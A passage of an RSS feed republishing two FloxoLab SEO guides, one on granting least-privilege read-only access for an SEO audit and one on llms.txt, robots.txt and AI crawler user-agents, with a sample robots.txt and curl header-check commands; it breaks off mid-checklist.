<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0">
<channel>
<title>Coder Legion - Recent posts tagged access</title>
<link>https://coderlegion.com/tag/access</link>
<description>Powered by Question2Answer</description>
<item>
<title>What Access an SEO Audit Actually Needs | FloxoLab</title>
<link>https://coderlegion.com/25691/what-access-an-seo-audit-actually-needs-floxolab</link>
<description>
&lt;p&gt;
        &lt;strong&gt;Direct answer:&lt;/strong&gt; A diagnosis-only SEO audit normally needs the public website URL and Restricted access to Google Search Console. GA4 Viewer access is optional. CMS, hosting, registrar, passwords, billing, and Search Console ownership are implementation or control privileges, not audit requirements.
      &lt;/p&gt;

      &lt;p&gt;
        Access is where trust quietly breaks down between a business and whoever does its SEO. The request usually arrives bundled and casual: send over your website login, your hosting, your Google accounts, and we will take it from here. Most owners hand it over because they do not know which parts are actually needed and which are just convenient for the agency.
      &lt;/p&gt;

      &lt;h2 id=&quot;what-an-audit-actually-needs&quot;&gt;What an audit actually needs&lt;/h2&gt;
      &lt;p&gt;
        An audit is a diagnosis, not surgery. To find the problems holding a site back, the only things genuinely required are your URL and the ability to read your own search data. That is it.
      &lt;/p&gt;

      &lt;div class=&quot;article-table-wrap&quot;&gt;
        &lt;table class=&quot;article-table&quot;&gt;
          &lt;thead&gt;
            &lt;tr&gt;&lt;th&gt;Access or input&lt;/th&gt;&lt;th&gt;Audit need&lt;/th&gt;&lt;th&gt;Safe scope&lt;/th&gt;&lt;/tr&gt;
          &lt;/thead&gt;
          &lt;tbody&gt;
            &lt;tr&gt;&lt;td&gt;Public website URL&lt;/td&gt;&lt;td&gt;Required&lt;/td&gt;&lt;td&gt;No login. Include priority pages and any staging boundary.&lt;/td&gt;&lt;/tr&gt;
            &lt;tr&gt;&lt;td&gt;Search Console&lt;/td&gt;&lt;td&gt;Usually required&lt;/td&gt;&lt;td&gt;Restricted user. This can view most reports but cannot administer the property or submit a sitemap.&lt;/td&gt;&lt;/tr&gt;
            &lt;tr&gt;&lt;td&gt;GA4&lt;/td&gt;&lt;td&gt;Optional&lt;/td&gt;&lt;td&gt;Viewer. Add No Cost Metrics or No Revenue Metrics restrictions when those values are outside the audit scope.&lt;/td&gt;&lt;/tr&gt;
            &lt;tr&gt;&lt;td&gt;Business context&lt;/td&gt;&lt;td&gt;Helpful&lt;/td&gt;&lt;td&gt;Priority services, target geography, intended queries, and known competitors.&lt;/td&gt;&lt;/tr&gt;
            &lt;tr&gt;&lt;td&gt;CMS, hosting, or registrar&lt;/td&gt;&lt;td&gt;Not needed for diagnosis&lt;/td&gt;&lt;td&gt;Grant separately only for an approved implementation task with an owner and end date.&lt;/td&gt;&lt;/tr&gt;
          &lt;/tbody&gt;
        &lt;/table&gt;
      &lt;/div&gt;

      &lt;p&gt;
        Notice what is not on that list: no website admin login, no hosting panel, no domain registrar, no passwords. A diagnosis is built from reading data, not from holding the keys to the building.
      &lt;/p&gt;

      &lt;p&gt;
        This holds even for the deeper technical part of an audit. Crawling the whole site to surface broken internal links, redirect chains, duplicate or missing titles, and a bloated sitemap is done with a crawler that visits your pages exactly like any other visitor, over the public web. It reads what is already published, so it needs no login at all.
      &lt;/p&gt;
      &lt;p&gt;The next step is to combine that public crawl with read-only Google evidence. The &lt;a rel=&quot;nofollow&quot; href=&quot;https://floxolab.com/seo/guides/technical-seo-audit-screaming-frog-search-console&quot;&gt;Screaming Frog and Search Console audit workflow&lt;/a&gt; shows how to reconcile the URL sets without granting implementation access.&lt;/p&gt;

      &lt;h2 id=&quot;how-to-grant-read-only-access-safely&quot;&gt;How to grant read-only access safely&lt;/h2&gt;
      &lt;p&gt;
        Both Google tools have a low-privilege viewing role. Add a specific email, choose the lowest role that still exposes the required reports, and remove it when the work is done. These roles do not provide control over your website, domain, or Google account.
      &lt;/p&gt;

      &lt;h3&gt;Search Console: the Restricted role&lt;/h3&gt;
      &lt;p&gt;
        In Search Console, open &lt;strong&gt;Settings &amp;gt; Users and permissions&lt;/strong&gt;, click &lt;strong&gt;Add user&lt;/strong&gt;, enter the email you were given, and choose &lt;strong&gt;Restricted&lt;/strong&gt;. Search Console offers Owner, Full, and Restricted. Owner has full control, including adding and removing other users. Restricted has simple view rights on most data, which is all an auditor needs.
      &lt;/p&gt;

      &lt;figure class=&quot;article-figure&quot;&gt;
        &lt;picture&gt;
          &lt;source type=&quot;image/webp&quot;&gt;
          &lt;img src=&quot;https://floxolab.com/uploads/seo/guides/what-access-an-seo-audit-needs/gsc-add-user-restricted.png?v=20260612c&quot; alt=&quot;Google Search Console Add user dialog with the permission dropdown open showing Owner, Full, and Restricted, with Restricted highlighted&quot; width=&quot;1607&quot; height=&quot;1023&quot;&gt;
        &lt;/source&gt;&lt;/picture&gt;
        &lt;figcaption&gt;Search Console, Settings &amp;gt; Users and permissions. The Restricted role gives read-only view rights, which is all an audit needs. Interface shown as of June 2026.&lt;/figcaption&gt;
      &lt;/figure&gt;

      &lt;p&gt;
        Restricted users cannot change settings, cannot submit or remove sitemaps, cannot request removals, and cannot touch other users. They can look, and that is the point. When the audit is finished, open the same screen and remove the user.
      &lt;/p&gt;

      &lt;h3&gt;GA4: the Viewer role&lt;/h3&gt;
      &lt;p&gt;
        If you want to share Analytics, go to &lt;strong&gt;Admin &amp;gt; Property Access Management&lt;/strong&gt;, add the email, and choose &lt;strong&gt;Viewer&lt;/strong&gt;. GA4 has Administrator, Editor, Marketer, Analyst, and Viewer. Viewer is the read-only floor: it can see report data and settings and build explorations, but it cannot change configuration or manage users.
      &lt;/p&gt;

      &lt;figure class=&quot;article-figure&quot;&gt;
        &lt;picture&gt;
          &lt;source type=&quot;image/webp&quot;&gt;
          &lt;img src=&quot;https://floxolab.com/uploads/seo/guides/what-access-an-seo-audit-needs/ga4-viewer-role.png?v=20260612c&quot; alt=&quot;GA4 Add roles and data restrictions screen with the Viewer role selected among Administrator, Editor, Marketer, Analyst, Viewer, and None&quot; width=&quot;1410&quot; height=&quot;811&quot;&gt;
        &lt;/source&gt;&lt;/picture&gt;
        &lt;figcaption&gt;GA4, Admin &amp;gt; Property Access Management. The Viewer role is read-only: see reports and settings, change nothing. Interface shown as of June 2026.&lt;/figcaption&gt;
      &lt;/figure&gt;

      &lt;div class=&quot;article-callout&quot;&gt;
        &lt;p&gt;
          &lt;strong&gt;Prefer not to share access at all?&lt;/strong&gt; A good audit can still run on exports and screenshots: your Search Console performance, coverage, and a few key reports. It is slightly less thorough than live access, but it keeps you fully in control of what is shared.
        &lt;/p&gt;
      &lt;/div&gt;

      &lt;h2 id=&quot;what-you-should-never-hand-over-for-an-audit&quot;&gt;What you should never hand over for an audit&lt;/h2&gt;
      &lt;p&gt;
        If someone needs any of the following just to tell you what is wrong with your site, the request does not match the job. None of these are required to read your data and write a fix list.
      &lt;/p&gt;

      &lt;ul&gt;
        &lt;li&gt;&lt;strong&gt;Your website admin or CMS password.&lt;/strong&gt; A login to WordPress, Shopify, or your CMS lets someone change the site, not just read it. An audit changes nothing.&lt;/li&gt;
        &lt;li&gt;&lt;strong&gt;Hosting or cPanel access.&lt;/strong&gt; Server-level access controls files, databases, and email. There is no audit reason to hold it.&lt;/li&gt;
        &lt;li&gt;&lt;strong&gt;Domain registrar login.&lt;/strong&gt; Whoever controls the registrar can move or lose the domain itself. Never share it for analysis.&lt;/li&gt;
        &lt;li&gt;&lt;strong&gt;Search Console Owner.&lt;/strong&gt; Owner can add and remove users and change verification. Restricted is the correct level for an outside reviewer.&lt;/li&gt;
        &lt;li&gt;&lt;strong&gt;Anything financial.&lt;/strong&gt; Ad accounts with payment methods, billing portals, or card details have nothing to do with an SEO diagnosis.&lt;/li&gt;
      &lt;/ul&gt;

      &lt;p&gt;
        The pattern is simple. Reading your data needs a read-only role on the data. Anything that can change, move, charge, or delete is not part of finding out what is wrong.
      &lt;/p&gt;

      &lt;h2 id=&quot;the-no-access-no-service-red-flag&quot;&gt;The &quot;no access, no service&quot; red flag&lt;/h2&gt;
      &lt;p&gt;
        Some providers will not start until they have full back-end access to your site. It is often written into the terms: without admin access, the service cannot be delivered. For an ongoing engagement that implements changes every month, that is at least understandable. For an audit, it is the wrong shape entirely.
      &lt;/p&gt;

      &lt;p&gt;
        Demanding full control before anyone has even told you what is broken inverts the order. You are handing over the keys to buy a diagnosis. A diagnosis comes first, from reading the data, and only then does the question of who changes what, with how much access, even arise. If the only access on offer is all of it, that tells you the product is a retainer, not an audit. (For more on how those retainers are structured, see &lt;a rel=&quot;nofollow&quot; href=&quot;https://floxolab.com/seo/guides/what-a-typical-seo-retainer-actually-does&quot;&gt;what a typical SEO retainer actually does&lt;/a&gt;.)
      &lt;/p&gt;
      &lt;p&gt;
        Access is also a provider-selection test. The &lt;a rel=&quot;nofollow&quot; href=&quot;https://floxolab.com/seo/guides/choose-seo-agency-philippines&quot;&gt;guide to choosing an SEO agency in the Philippines&lt;/a&gt; shows how to compare permission requests alongside evidence, deliverables, ownership, reporting, and contract terms.
      &lt;/p&gt;

      &lt;h2 id=&quot;when-backend-access-is-legitimate&quot;&gt;When backend access is legitimate&lt;/h2&gt;
      &lt;p&gt;
        There is a real case for deeper access, and it is worth stating clearly so this does not read as if access is always suspect. Once you have the audit and decide to have the fixes implemented, editing the site obviously requires the ability to edit the site.
      &lt;/p&gt;

      &lt;p&gt;
        The difference is that implementation is a separate step, under a separate agreement, with a separate and scoped level of access, granted only for the work being done and removed afterward. That is the opposite of handing over admin up front as a condition of starting. Implementation may require write access; the audit never does. Keeping those two things apart is what keeps you in control.
      &lt;/p&gt;

      &lt;h2 id=&quot;access-closeout-checklist&quot;&gt;Access closeout checklist&lt;/h2&gt;
      &lt;ul&gt;
        &lt;li&gt;Use a named individual account instead of sharing a password.&lt;/li&gt;
        &lt;li&gt;Keep the business-controlled account as the property owner.&lt;/li&gt;
        &lt;li&gt;Record the role, purpose, approver, and intended removal date.&lt;/li&gt;
        &lt;li&gt;Grant implementation access under a separate scope, only after the proposed change is approved.&lt;/li&gt;
        &lt;li&gt;Remove the auditor after delivery and confirm that no temporary verification token or implementation account remains.&lt;/li&gt;
      &lt;/ul&gt;

      &lt;h2 id=&quot;the-bottom-line&quot;&gt;The bottom line&lt;/h2&gt;
      &lt;p&gt;
        An audit reads, it does not write. The honest version needs your URL, a Restricted user in Search Console, and optionally a Viewer in GA4. Everything beyond that is either convenience for the provider or a sign you are being sold something larger than a diagnosis. Grant the viewing roles, keep the keys, and remove access when the work is done.
      &lt;/p&gt;

      &lt;div class=&quot;article-callout&quot;&gt;
        &lt;p&gt;
          The &lt;a rel=&quot;nofollow&quot; href=&quot;https://floxolab.com/seo-audit&quot;&gt;fixed-price SEO audit&lt;/a&gt; works exactly this way: Restricted Search Console access (or your exports), a technical and on-page review of your site and search data, and a prioritized fix list you own. One report at a flat $150, no retainer, no admin login, no ranking promises. If you choose an ongoing &lt;a rel=&quot;nofollow&quot; href=&quot;https://floxolab.com/seo/retainer&quot;&gt;retainer&lt;/a&gt;, any access needed to implement an approved fix is scoped separately. &lt;a rel=&quot;nofollow&quot; href=&quot;https://floxolab.com/#contact&quot;&gt;Get in touch&lt;/a&gt; to start.
        &lt;/p&gt;
      &lt;/div&gt;

      &lt;h2 id=&quot;sources-checked&quot;&gt;Sources checked&lt;/h2&gt;
      &lt;p&gt;Search Console permissions and GA4 roles were rechecked against Google's official documentation on August 2, 2026.&lt;/p&gt;
      &lt;ul&gt;
        &lt;li&gt;&lt;a href=&quot;https://support.google.com/webmasters/answer/7687615&quot; target=&quot;_blank&quot; rel=&quot;noopener nofollow&quot;&gt;Google Search Console Help: managing users and permission levels&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://support.google.com/analytics/answer/9305587&quot; target=&quot;_blank&quot; rel=&quot;noopener nofollow&quot;&gt;Google Analytics Help: GA4 access roles and data restrictions&lt;/a&gt;&lt;/li&gt;
      &lt;/ul&gt;

      &lt;nav class=&quot;article-related&quot; aria-label=&quot;Related SEO guides&quot;&gt;
        &lt;h2 id=&quot;continue-with-the-audit-workflow&quot;&gt;Continue with the audit workflow&lt;/h2&gt;
        &lt;ul&gt;
          &lt;li&gt;&lt;a rel=&quot;nofollow&quot; href=&quot;https://floxolab.com/seo/guides/what-to-check-in-search-console-before-paying-for-seo&quot;&gt;Run a safe Search Console pre-audit&lt;/a&gt;&lt;/li&gt;
          &lt;li&gt;&lt;a rel=&quot;nofollow&quot; href=&quot;https://floxolab.com/seo/guides/technical-seo-fixes-agencies-wont-touch&quot;&gt;Separate diagnosis access from template-level implementation&lt;/a&gt;&lt;/li&gt;
          &lt;li&gt;&lt;a rel=&quot;nofollow&quot; href=&quot;https://floxolab.com/seo/guides/what-a-typical-seo-retainer-actually-does&quot;&gt;Define what ongoing access a retainer actually needs&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      &lt;/nav&gt;
&lt;p&gt;&lt;em&gt;Originally published on &lt;a rel=&quot;nofollow&quot; href=&quot;https://floxolab.com/seo/guides/what-access-an-seo-audit-needs&quot;&gt;FloxoLab&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;
</description>
<category>Other</category>
<guid isPermaLink="true">https://coderlegion.com/25691/what-access-an-seo-audit-actually-needs-floxolab</guid>
<pubDate>Fri, 30 Oct 2026 15:50:00 +0000</pubDate>
</item>
<item>
<title>Do You Need llms.txt? AI Crawler Controls Explained</title>
<link>https://coderlegion.com/25656/do-you-need-llms-txt-ai-crawler-controls-explained</link>
<description>
&lt;p&gt;&lt;strong&gt;Direct answer:&lt;/strong&gt; publish &lt;code&gt;/llms.txt&lt;/code&gt; only if you maintain a documentation-heavy or structured knowledge site and can keep a curated machine-readable map accurate. For an ordinary service business, prioritize crawlable pages, internal links, a clean sitemap, correct structured data, and explicit crawler rules.&lt;/p&gt;
      &lt;p&gt;The distinction matters because &lt;code&gt;llms.txt&lt;/code&gt; and &lt;code&gt;robots.txt&lt;/code&gt; solve different problems. The &lt;a href=&quot;https://llmstxt.org/&quot; target=&quot;_blank&quot; rel=&quot;noopener nofollow&quot;&gt;llms.txt proposal&lt;/a&gt; describes a Markdown overview for use at inference time. Its own specification says it complements existing standards. It does not define access permission or an opt-out mechanism.&lt;/p&gt;

      &lt;h2 id=&quot;use-the-control-that-matches-the-job&quot;&gt;Use the control that matches the job&lt;/h2&gt;
      &lt;div class=&quot;article-table-wrap&quot;&gt;
        &lt;table class=&quot;article-table&quot;&gt;
          &lt;thead&gt;&lt;tr&gt;&lt;th&gt;Control&lt;/th&gt;&lt;th&gt;Actual job&lt;/th&gt;&lt;th&gt;What it cannot promise&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;
          &lt;tbody&gt;
            &lt;tr&gt;&lt;td&gt;&lt;code&gt;robots.txt&lt;/code&gt;&lt;/td&gt;&lt;td&gt;Tell compliant crawlers which paths they may request&lt;/td&gt;&lt;td&gt;Removal from search, privacy, or universal enforcement&lt;/td&gt;&lt;/tr&gt;
            &lt;tr&gt;&lt;td&gt;&lt;code&gt;llms.txt&lt;/code&gt;&lt;/td&gt;&lt;td&gt;Offer a curated Markdown description and links&lt;/td&gt;&lt;td&gt;Crawler access, training opt-out, ranking, or citation&lt;/td&gt;&lt;/tr&gt;
            &lt;tr&gt;&lt;td&gt;&lt;code&gt;sitemap.xml&lt;/code&gt;&lt;/td&gt;&lt;td&gt;List preferred indexable URLs for search discovery&lt;/td&gt;&lt;td&gt;Indexing or selection in an AI answer&lt;/td&gt;&lt;/tr&gt;
            &lt;tr&gt;&lt;td&gt;&lt;code&gt;noindex&lt;/code&gt; and snippet controls&lt;/td&gt;&lt;td&gt;Control indexing or how much Google may show from a page&lt;/td&gt;&lt;td&gt;A safe result when the crawler is blocked from reading the directive&lt;/td&gt;&lt;/tr&gt;
            &lt;tr&gt;&lt;td&gt;CDN or WAF rules&lt;/td&gt;&lt;td&gt;Permit or deny requests at the infrastructure layer&lt;/td&gt;&lt;td&gt;Correct intent if rules rely only on a spoofable user-agent string&lt;/td&gt;&lt;/tr&gt;
          &lt;/tbody&gt;
        &lt;/table&gt;
      &lt;/div&gt;
      &lt;div class=&quot;article-callout&quot;&gt;&lt;p&gt;&lt;strong&gt;Do not treat a public text file as a privacy boundary.&lt;/strong&gt; Never list private dashboards, customer portals, staging hosts, unpublished documents, or sensitive paths in &lt;code&gt;llms.txt&lt;/code&gt;. Protect them with authentication and access controls.&lt;/p&gt;&lt;/div&gt;

      &lt;h2 id=&quot;what-llms-txt-is&quot;&gt;What llms.txt is&lt;/h2&gt;
      &lt;p&gt;The proposal places a Markdown file at &lt;code&gt;/llms.txt&lt;/code&gt;. It starts with one required H1, may include a short summary and explanatory text, and can group useful links under H2 headings. The specification also proposes optional Markdown versions of detailed pages.&lt;/p&gt;
      &lt;p&gt;That can be useful for a software library, API, public knowledge base, or complex documentation set. A maintainer can point an agent toward a stable quick start, current reference, examples, and known limitations without asking it to infer the hierarchy from navigation and decorative HTML.&lt;/p&gt;
      &lt;p&gt;The proposal does not specify how an AI provider must discover, fetch, or use the file. It explicitly leaves processing decisions to each application. That is why publishing the file is an experiment, not an access-control project.&lt;/p&gt;

      &lt;h2 id=&quot;why-most-small-business-sites-do-not-need-it&quot;&gt;Why most small-business sites do not need it&lt;/h2&gt;
      &lt;p&gt;A typical service site has a homepage, service pages, a few decision guides, contact information, and perhaps a local profile. Those pages should already explain the business clearly in rendered HTML. Adding another summary file creates a second place where services, locations, prices, policies, and URLs can become stale.&lt;/p&gt;
      &lt;p&gt;Google's official guidance is especially direct. Pages need normal Search eligibility for AI Overviews and AI Mode, and Google says no new machine-readable file, AI text file, or special markup is required. Googlebot access, indexability, internal discovery, visible text, page experience, and accurate structured data remain the foundation.&lt;/p&gt;
      &lt;div class=&quot;article-table-wrap&quot;&gt;
        &lt;table class=&quot;article-table&quot;&gt;
          &lt;thead&gt;&lt;tr&gt;&lt;th&gt;Site situation&lt;/th&gt;&lt;th&gt;Recommendation&lt;/th&gt;&lt;th&gt;Reason&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;
          &lt;tbody&gt;
            &lt;tr&gt;&lt;td&gt;Local or service business&lt;/td&gt;&lt;td&gt;Skip it for now&lt;/td&gt;&lt;td&gt;Improve the actual service pages and crawler access first&lt;/td&gt;&lt;/tr&gt;
            &lt;tr&gt;&lt;td&gt;Small editorial site&lt;/td&gt;&lt;td&gt;Usually skip it&lt;/td&gt;&lt;td&gt;The sitemap, hubs, and contextual links already express the library&lt;/td&gt;&lt;/tr&gt;
            &lt;tr&gt;&lt;td&gt;Large public documentation set&lt;/td&gt;&lt;td&gt;Consider a test&lt;/td&gt;&lt;td&gt;A curated route can reduce ambiguity for tools that choose to read it&lt;/td&gt;&lt;/tr&gt;
            &lt;tr&gt;&lt;td&gt;API or developer product&lt;/td&gt;&lt;td&gt;Consider a generated file&lt;/td&gt;&lt;td&gt;Versioned references and examples may benefit from a concise machine-readable index&lt;/td&gt;&lt;/tr&gt;
            &lt;tr&gt;&lt;td&gt;Site with weak crawlability&lt;/td&gt;&lt;td&gt;Fix access first&lt;/td&gt;&lt;td&gt;An optional file cannot repair blocked pages, bad status codes, or a hostile WAF&lt;/td&gt;&lt;/tr&gt;
          &lt;/tbody&gt;
        &lt;/table&gt;
      &lt;/div&gt;

      &lt;h2 id=&quot;separate-search-retrieval-from-model-training&quot;&gt;Separate search retrieval from model training&lt;/h2&gt;
      &lt;p&gt;There is no single universal &quot;AI bot&quot; switch. Vendors document separate agents for different jobs, and a site owner may want search visibility without allowing potential training use.&lt;/p&gt;
      &lt;div class=&quot;article-table-wrap&quot;&gt;
        &lt;table class=&quot;article-table&quot;&gt;
          &lt;thead&gt;&lt;tr&gt;&lt;th&gt;Provider&lt;/th&gt;&lt;th&gt;Search or user retrieval&lt;/th&gt;&lt;th&gt;Separate control&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;
          &lt;tbody&gt;
            &lt;tr&gt;&lt;td&gt;Google&lt;/td&gt;&lt;td&gt;&lt;code&gt;Googlebot&lt;/code&gt; controls Search, including AI Overviews and AI Mode&lt;/td&gt;&lt;td&gt;&lt;code&gt;Google-Extended&lt;/code&gt; controls certain Gemini training and grounding uses outside Google Search&lt;/td&gt;&lt;/tr&gt;
            &lt;tr&gt;&lt;td&gt;OpenAI&lt;/td&gt;&lt;td&gt;&lt;code&gt;OAI-SearchBot&lt;/code&gt; supports ChatGPT search discovery&lt;/td&gt;&lt;td&gt;&lt;code&gt;GPTBot&lt;/code&gt; is the published control for potential training&lt;/td&gt;&lt;/tr&gt;
            &lt;tr&gt;&lt;td&gt;Anthropic&lt;/td&gt;&lt;td&gt;&lt;code&gt;Claude-SearchBot&lt;/code&gt; and &lt;code&gt;Claude-User&lt;/code&gt; support search and user-directed retrieval&lt;/td&gt;&lt;td&gt;&lt;code&gt;ClaudeBot&lt;/code&gt; is used for content that could contribute to model training&lt;/td&gt;&lt;/tr&gt;
            &lt;tr&gt;&lt;td&gt;Perplexity&lt;/td&gt;&lt;td&gt;&lt;code&gt;PerplexityBot&lt;/code&gt; supports search results; &lt;code&gt;Perplexity-User&lt;/code&gt; supports user-requested fetches&lt;/td&gt;&lt;td&gt;Perplexity says these two agents are not used to train foundation models&lt;/td&gt;&lt;/tr&gt;
          &lt;/tbody&gt;
        &lt;/table&gt;
      &lt;/div&gt;
      &lt;p&gt;Google states that blocking &lt;code&gt;Google-Extended&lt;/code&gt; does not affect inclusion or ranking in Google Search. &lt;a href=&quot;https://help.openai.com/en/articles/12627856-publishers-and-developers-faq&quot; target=&quot;_blank&quot; rel=&quot;noopener nofollow&quot;&gt;OpenAI's publisher guidance&lt;/a&gt; similarly separates OAI-SearchBot from GPTBot. &lt;a href=&quot;https://support.claude.com/en/articles/8896518-does-anthropic-crawl-data-from-the-web-and-how-can-site-owners-block-the-crawler&quot; target=&quot;_blank&quot; rel=&quot;noopener nofollow&quot;&gt;Anthropic documents three distinct agents&lt;/a&gt; so publishers can make separate choices.&lt;/p&gt;

      &lt;h2 id=&quot;build-the-policy-before-editing-robots-txt&quot;&gt;Build the policy before editing robots.txt&lt;/h2&gt;
      &lt;p&gt;Write the business decision first. Otherwise a copied rule can quietly block the exact search surface you intended to keep.&lt;/p&gt;
      &lt;ol&gt;
        &lt;li&gt;&lt;strong&gt;List the public content:&lt;/strong&gt; decide which pages may be retrieved by search and user-directed agents.&lt;/li&gt;
        &lt;li&gt;&lt;strong&gt;Separate model development:&lt;/strong&gt; decide whether to block training-specific agents where a vendor provides that control.&lt;/li&gt;
        &lt;li&gt;&lt;strong&gt;Protect private content properly:&lt;/strong&gt; use authentication, authorization, network restrictions, or removal. Do not rely on crawler courtesy.&lt;/li&gt;
        &lt;li&gt;&lt;strong&gt;Inspect the whole delivery path:&lt;/strong&gt; robots.txt, CDN, WAF, hosting firewall, rate limits, JavaScript challenges, and origin responses can disagree.&lt;/li&gt;
        &lt;li&gt;&lt;strong&gt;Record an owner and review date:&lt;/strong&gt; crawler names, IP ranges, and product behavior change.&lt;/li&gt;
      &lt;/ol&gt;
      &lt;p&gt;The &lt;a rel=&quot;nofollow&quot; href=&quot;https://floxolab.com/seo/guides/how-to-get-cited-in-ai-search&quot;&gt;AI search citation guide&lt;/a&gt; covers content eligibility and evidence after access is working. The &lt;a rel=&quot;nofollow&quot; href=&quot;https://floxolab.com/seo/guides/technical-seo-fixes-agencies-wont-touch&quot;&gt;technical SEO fixes guide&lt;/a&gt; covers infrastructure problems that ordinary content edits cannot solve.&lt;/p&gt;

      &lt;h2 id=&quot;a-cautious-robots-txt-example&quot;&gt;A cautious robots.txt example&lt;/h2&gt;
      &lt;p&gt;This example expresses one specific policy: allow documented search agents, block documented training controls, and leave normal search crawling open. It is not a universal recommendation. Read every vendor's current documentation and your existing robots file before adapting it.&lt;/p&gt;
      &lt;pre class=&quot;article-code&quot;&gt;&lt;code&gt;User-agent: *
Allow: /

User-agent: OAI-SearchBot
Allow: /

User-agent: GPTBot
Disallow: /

User-agent: Claude-SearchBot
Allow: /

User-agent: ClaudeBot
Disallow: /

User-agent: PerplexityBot
Allow: /

User-agent: Google-Extended
Disallow: /

Sitemap: &lt;a href=&quot;https://example.com/sitemap.xml&quot; rel=&quot;nofollow&quot;&gt;https://example.com/sitemap.xml&lt;/a&gt;&lt;/code&gt;&lt;/pre&gt;
      &lt;p&gt;This does not remove a page from search. A robots disallow can prevent a crawler from seeing a &lt;code&gt;noindex&lt;/code&gt; directive on the blocked page. If removal is the goal, follow the search engine's documented removal or indexing controls instead of combining random directives.&lt;/p&gt;
      &lt;p&gt;It also does not create a hard security block. Robots rules are instructions for compliant agents. A scraper can ignore them, and a legitimate agent can still be stopped by an overly broad firewall rule.&lt;/p&gt;

      &lt;h2 id=&quot;check-the-cdn-and-waf-separately&quot;&gt;Check the CDN and WAF separately&lt;/h2&gt;
      &lt;p&gt;Allowing a crawler in &lt;code&gt;robots.txt&lt;/code&gt; is only the first gate. OpenAI and Perplexity both tell publishers to check CDN, WAF, bot mitigation, response codes, and published IP ranges when access fails. Perplexity recommends combining the expected user agent with its current IP list rather than trusting the header alone.&lt;/p&gt;
      &lt;p&gt;A safe validation sequence is:&lt;/p&gt;
      &lt;ol&gt;
        &lt;li&gt;Request the live &lt;code&gt;/robots.txt&lt;/code&gt; and confirm the deployed file matches the policy.&lt;/li&gt;
        &lt;li&gt;Request representative public URLs with the documented user-agent token.&lt;/li&gt;
        &lt;li&gt;Confirm a successful response, useful HTML, and no challenge page.&lt;/li&gt;
        &lt;li&gt;Inspect CDN and origin logs for 401, 403, 429, redirect loops, and unusually large responses.&lt;/li&gt;
        &lt;li&gt;Where the vendor publishes IP ranges, verify both the header and source range before creating an allow rule.&lt;/li&gt;
        &lt;li&gt;Recheck after deployment because caches and crawler processing can delay the observed change.&lt;/li&gt;
      &lt;/ol&gt;
      &lt;pre class=&quot;article-code&quot;&gt;&lt;code&gt;curl -I -A &quot;OAI-SearchBot&quot; &lt;a href=&quot;https://example.com/important-page&quot; rel=&quot;nofollow&quot;&gt;https://example.com/important-page&lt;/a&gt;
curl -I -A &quot;Claude-SearchBot&quot; &lt;a href=&quot;https://example.com/important-page&quot; rel=&quot;nofollow&quot;&gt;https://example.com/important-page&lt;/a&gt;
curl -I -A &quot;PerplexityBot&quot; &lt;a href=&quot;https://example.com/important-page&quot; rel=&quot;nofollow&quot;&gt;https://example.com/important-page&lt;/a&gt;&lt;/code&gt;&lt;/pre&gt;
      &lt;p&gt;A forged user-agent can pass this simple request test. Use it to find obvious blocks, not to authenticate crawler identity.&lt;/p&gt;

      &lt;h2 id=&quot;when-an-llms-txt-test-is-worth-maintaining&quot;&gt;When an llms.txt test is worth maintaining&lt;/h2&gt;
      &lt;p&gt;Consider a limited test when all of these conditions are true:&lt;/p&gt;
      &lt;ul&gt;
        &lt;li&gt;the public site contains a large, stable documentation or knowledge corpus;&lt;/li&gt;
        &lt;li&gt;the preferred entry points and current versions are difficult to infer from navigation alone;&lt;/li&gt;
        &lt;li&gt;the file can be generated from the same source of truth as the documentation;&lt;/li&gt;
        &lt;li&gt;every linked URL is public, canonical, useful, and maintained;&lt;/li&gt;
        &lt;li&gt;the team can test named tools or agents instead of treating the file as a universal standard;&lt;/li&gt;
        &lt;li&gt;removing the experiment would not damage ordinary crawling, indexing, or user navigation.&lt;/li&gt;
      &lt;/ul&gt;
      &lt;p&gt;If you publish it, keep the file concise. Name the project, explain the scope, link only to preferred public resources, and record how it is generated. Do not paste your sitemap into Markdown or duplicate full pages into a second unmanaged content layer.&lt;/p&gt;

      &lt;h2 id=&quot;what-not-to-do&quot;&gt;What not to do&lt;/h2&gt;
      &lt;ul&gt;
        &lt;li&gt;&lt;strong&gt;Do not use llms.txt as an opt-out file.&lt;/strong&gt; Use each provider's documented crawler token and access controls.&lt;/li&gt;
        &lt;li&gt;&lt;strong&gt;Do not block every AI-related token.&lt;/strong&gt; A training control and a search bot may have different jobs.&lt;/li&gt;
        &lt;li&gt;&lt;strong&gt;Do not list sensitive paths.&lt;/strong&gt; Public crawler files are not a substitute for authentication.&lt;/li&gt;
        &lt;li&gt;&lt;strong&gt;Do not create a stale second website map.&lt;/strong&gt; Generate the file from maintained data or do not publish it.&lt;/li&gt;
        &lt;li&gt;&lt;strong&gt;Do not expect a citation lift.&lt;/strong&gt; Access and context create eligibility, not selection.&lt;/li&gt;
        &lt;li&gt;&lt;strong&gt;Do not trust a user agent by itself.&lt;/strong&gt; Use official IP data and logs when infrastructure policy depends on identity.&lt;/li&gt;
        &lt;li&gt;&lt;strong&gt;Do not let the experiment delay basic SEO.&lt;/strong&gt; Fix status codes, internal links, canonicals, sitemaps, rendered text, and page quality first.&lt;/li&gt;
      &lt;/ul&gt;

      &lt;h2 id=&quot;floxolab-s-current-decision&quot;&gt;FloxoLab's current decision&lt;/h2&gt;
      &lt;p&gt;FloxoLab does not need &lt;code&gt;llms.txt&lt;/code&gt; to make its guides eligible for Google AI features or ChatGPT Search. The current priorities are a crawlable public library, one canonical URL per task, accurate metadata, responsive media, contextual links, and explicit crawler access.&lt;/p&gt;
      &lt;p&gt;A generated file may become worth testing after the SEO guide library expands and the filterable hub is stable. If that happens, the file should be derived from the content manifest, not maintained as another hand-written index. The &lt;a rel=&quot;nofollow&quot; href=&quot;https://floxolab.com/seo/guides/topic-clusters-small-sites&quot;&gt;topic-cluster guide&lt;/a&gt; explains why one source of truth matters when a library grows.&lt;/p&gt;

      &lt;h2 id=&quot;decision-checklist&quot;&gt;Decision checklist&lt;/h2&gt;
      &lt;ul&gt;
        &lt;li&gt;The business goal is written before crawler rules are changed.&lt;/li&gt;
        &lt;li&gt;Search retrieval and potential training are treated as separate decisions.&lt;/li&gt;
